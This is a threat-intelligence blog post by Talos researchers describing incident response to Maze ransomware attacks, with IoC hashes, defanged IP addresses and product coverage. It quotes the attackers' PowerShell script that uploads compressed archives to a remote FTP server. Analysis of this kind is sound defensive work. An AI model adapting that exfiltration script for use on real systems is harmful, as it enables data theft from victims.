Incident Response lessons from recent Maze ransomware attacks

blog.talosintelligence.com/2019/12/IR-Lessons-Maze.html

By JJ Cummings and Dave Liebenberg

This year, we have been flooded with reports of targeted ransomware attacks. Whether it's a city, hospital, large- or medium-sized enterprise — they are all being targeted. These attacks can result in significant damage, cost, and have many different initial infection vectors.

Recently, Talos Incident Response has been engaged with a couple of these attacks, which involved the use of targeted ransomware. The concept of targeted ransomware attacks is simple: Get access to a corporate network, gain access to many systems, encrypt the data on a large chunk of them, ask for a large lump sum payment to regain access to those systems, and profit.

The first widespread targeted ransomware attacks involved the SamSam ransomware, which Cisco Talos researchers first discovered in early 2016 and were incredibly profitable, despite ending in indictments from the U.S. government.

In 2019, there have been multiple players in this space, the most prolific of which has been the Ryuk campaigns that start with Emotet and Trickbot. Other targeted ransomware attacks have involved other types of ransomware and varied attack methodology. Included in this list is ransomware like LockerGoga, MegaCortex, Maze, RobbinHood, and Crysis, among others. More recently, attackers have taken the extra step of exfiltrating data and holding it hostage, which they claim they will release to the public unless payment is received, a form of doxxing.

Recent incidents

Over the past several months, Talos Incident Response responded to several such incidents, where an adversary gained access to an environment, deployed ransomware, and exfiltrated large amounts of data, combining elements of ransomware and doxxing attacks into a single incident.

In one incident, the attacker leveraged CobaltStrike after obtaining access to the network. CobaltStrike is a widely used framework for offensive and red-teaming, which is also commonly used by adversaries to attack their targets. Once the adversary has access, they spend at least a week laterally moving around the network and gathering systems and data along the way. Combined with CobaltStrike, the actor used a technique commonly associated with APT-29, leveraging a named pipe (i.e. \\.\pipe\MSSE-<number>-server).

Once the actor gained enough access to both data and systems, the payment mechanisms began to take form. First, the actor began exfiltrating the data that they had accumulated. They achieved exfiltration by using PowerShell to connect to a remote FTP server. Below is a snippet of the code used to achieve this exfiltration via PowerShell.

```
$Dir="C:/Windows/Temp/"
 #ftp server
 $ftp = "ftp[:]//<REDACTED>/PROJECT1/"
 $user =<REDACTED>
 $pass = <REDACTED>
 $webclient = New-Object System.Net.WebClient
 $webclient.Credentials = New-Object System.Net.NetworkCredential($user,$pass)
 #list every sql server trace file
 foreach($item in (dir $Dir "*.7z")){
    "Uploading $item..."
    $uri = New-Object System.Uri($ftp+$item.Name)
    $webclient.UploadFile($uri, $item.FullName)
 }
```

The actor then deployed the Maze ransomware on the systems. Maze has been in the news recently as being the ransomware used in several high-profile targeted ransomware attacks, including those against the city of Pensacola, Florida and staffing firm Allied Universal.

Another incident involved more CobaltStrike, some shared infrastructure, and more exfiltration. In this case, the adversary was again found leveraging CobaltStrike post initial compromise and used PowerShell to dump large amounts of data via FTP out of the network and demanded payment before disclosing this information publicly. The connection to the previously mentioned incident lies in the command and control (C2) infrastructure used. This actor dumped the data to the same C2 server as the aforementioned CobaltStrike incident. In addition to the shared infrastructure, there were a couple other commonalities between the attacks — the first being the deployment and use of 7-Zip to compress the data they were preparing for exfiltration. Additionally, in both incidents, there were interactive logins via Windows Remote Desktop Protocol, remote PowerShell execution, which was achieved via WMIC, and in one case, active reconnaissance observed. Based on all of these facts, Talos assesses with high confidence these incidents were associated with the same adversary.

Conclusion

The use of targeted ransomware attacks isn't new and, unfortunately, it's not going anywhere anytime soon. This is an extremely lucrative attack avenue for adversaries and as such, its popularity is likely only going to increase. What makes these particular attacks interesting is the additional monetization avenue of exfiltrating data in the process. This allows the actor to

potentially monetize their attack in multiple different ways. First, the actor can demand the victim pay an additional fee to get the data back. Even if the victim refuses to pay the ransom due to proper precautions, like full backups and reliable recovery plans, money can be made. Second the data itself could have significant value to other adversaries, and selling the data on the black market is highly likely. Finally, there is the public damage that can be done to the victim by releasing the data, which doesn't give the attacker any monetary benefit but can be a very useful way to encourage future victims to pay and avoid the negative press associated with a public data dump.

This trend of achieving maximum monetary gain for their nefarious activities is increasingly common in the crimeware space, as demonstrated by the proliferation of emotet and the millions and millions of dollars in damage that have followed. Expect adversaries to be increasingly aware of the systems and networks they are compromising as all systems and networks are not created equally and some have much higher profit margins, when compromised.

Indicators of Compromise (IoCs)

Hashes:

CobaltStrike

- 51461b83f3b8afbcae46145be60f7ff11b5609f1a2341283ad49c03121e6cafe
- 3627eb2e1940e50ab2e7b3ee703bc5f8663233fe71a872b32178cb118fb3e2d9

Maze Ransomware

- 04e22ab46a8d5dc5fea6c41ea6fdc913b793a4e33df8f0bc1868b72b180c0e6e
- 067f1b8f1e0b2bfe286f5169e17834e8cf7f4266b8d97f28ea78995dc81b0e7b
- 1161b030293e58d15b6a6a814a61a6432cf2c98ce9d156986157b432f3ebcf78
- 153defee225de889d2ac66605f391f4aeaa8b867b4093c686941e64d0d245a57
- 195ef8cfabc2e877ebb1a60a19850c714fb0a477592b0a8d61d88f0f96be5de9
- 30b72e83d66cbe9e724c8e2b21179aecd4bcf68b2ec7895616807df380afab54
- 33afa2f1d53d5279b6fc87ce6834193fdd7e16e4b44e895aae4b9da00be0c502
- 4080402553e9a86e954c1d9b7d0bb059786f52aba4a179a5d00e219500c8f43d
- 5603a16cbf81d183d3ff4ffea5477af1a4be01321865f0978c0e128051ec0a82
- 58fe9776f33628fd965d1bcc442ec8dc5bfae0c648dcaec400f6090633484806
- 5c9b7224ffd2029b6ce7b82ea40d63b9d4e4f502169bc91de88b4ea577f52353
- 6878f7bd90434ac5a76ac2208a5198ce1a60ae20e8505fc110bd8e42b3657d13
- 6a22220c0fe5f578da11ce22945b63d93172b75452996defdc2ff48756bde6af
- 822a264191230f753546407a823c6993e1a83a83a75fa36071a874318893afb8
- 83f8ce81f71d6f0b1ddc6b4f3add7a5deef8367a29f59b564c9539d6653d1279
- 877c439da147bab8e2c32f03814e3973c22cbcd112d35bc2735b803ac9113da1
- 91514e6be3f581a77daa79e2a4905dcbdf6bdcc32ee0f713599a94d453a26fc1
- 9751ae55b105ad8ffe6fc5dc7aea60ad723b6df67a959aa2ea6f4fa640d20a71

- 9ad15385f04a6d8dd58b4390e32d876070e339eee6b8da586852d7467514d1b1
- 9be70b7fe15cd64aed5b1adc88c2d5270bce534d167c4a42d143ae0059c3da1c
- b30bb0f35a904f67d3ac0082c59770836cc415dc5b7225be04e8d7c79bde73be
- c040defb9c90074b489857f328d3e0040ac0ddab26cde132f17cccae7f1309cc
- c11b964916457579a268a36e825857866680baf1830cd6e2d26d4e1e24dec91b
- ea19736c8e89e871974aabdc0d52ad0f0948159d4cf41d2889f49448cbe5e705
- ecd04ebbb3df053ce4efa2b73912fd4d086d1720f9b410235ee9c1e529ea52a2
- F491fb72f106e879021b0bb1149c4678fb380c255d2ef11ac4e0897378793f49
- fc611f9d09f645f31c4a77a27b6e6b1aec74db916d0712bef5bce052d12c971f

IP Addresses:

- 91.218.114[.]4
- 5.199.167[.]188
- 185.147.15[.]22

Coverage

Product	Protection
AMP	✓
Cloudlock	N/A
CWS	✓
Email Security	✓
Network Security	✓
Stealthwatch	N/A
Stealthwatch Cloud	N/A
Threat Grid	✓
Umbrella	N/A
WSA	✓

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. Exploit Prevention present within AMP is designed to protect customers from unknown attacks such as this automatically.

Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity associated with this threat.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.